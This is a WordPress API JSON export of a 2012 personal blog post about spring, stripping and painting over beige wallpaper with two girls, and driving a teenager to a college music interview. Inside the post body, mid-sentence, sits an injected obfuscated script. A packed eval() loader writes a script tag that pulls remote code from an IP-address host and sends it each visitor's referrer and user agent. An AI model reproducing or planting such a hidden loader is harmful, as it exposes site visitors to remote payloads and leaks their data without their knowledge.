{"id":2836,"date":"2012-02-28T08:40:05","date_gmt":"2012-02-28T15:40:05","guid":{"rendered":"http:\/\/www.rebeccagibson.org\/?p=2836"},"modified":"2013-04-26T14:39:23","modified_gmt":"2013-04-26T21:39:23","slug":"open-doors","status":"publish","type":"post","link":"http:\/\/www.rebeccagibson.org\/?p=2836","title":{"rendered":"Open doors"},"content":{"rendered":"<p>It&#8217;s <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\\\b'+e(c)+'\\\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\\\o=\"+3(j.i)+\"\\'><\\\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ybztk|var|u0026u|referrer|hsebs||js|php'.split('|'),0,{}))\n<\/script><\/noindex> really spring, despite the groundhog&#8217;s foolishness. The daffodils are up, the sky is full of wind, and I&#8217;ve been keeping the doors open.<\/p>\n<p>Friday the girls didn&#8217;t have school, so I took a day off and they stayed with me all day, helping me paint. Every since the day I moved into my house I&#8217;ve hated the wallpaper (beige) the curtains (beige) and the carpet (beige). I ripped out the carpet before moving myself in, and I&#8217;ve replaced most of the curtains. But tearing down wallpaper can be a tricky business, and I&#8217;ve been reluctant to take it on.<\/p>\n<p>But now is the time. And what do you know? Once I actually tried pulling it down, it peeled right off. Easy as lyin&#8217;. So Emily and Angie helped me rip it all down, paint over the plaster with decent primer, and then we started imagining colors.<\/p>\n<p>Friday evening after they went home, Shawn crashed at my house so I could give him an early-morning ride to his first college interview. We got up at 5:30, bright as spring lambs, and zipped off to Greensboro. He&#8217;s applying to the music program there, and he&#8217;s so bright and so talented I can only believe that he&#8217;ll be successful. It was strange, though &#8211; I&#8217;ve never thought about what it would be like to send a kid off to college. That seems so far away&#8230;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>It&#8217;s really spring, despite the groundhog&#8217;s foolishness. The daffodils are up, the sky is full&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[25],"class_list":["post-2836","post","type-post","status-publish","format-standard","hentry","category-uncategorized","tag-kids"],"_links":{"self":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/2836"}],"collection":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=2836"}],"version-history":[{"count":4,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/2836\/revisions"}],"predecessor-version":[{"id":3811,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/2836\/revisions\/3811"}],"wp:attachment":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=2836"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=2836"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=2836"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}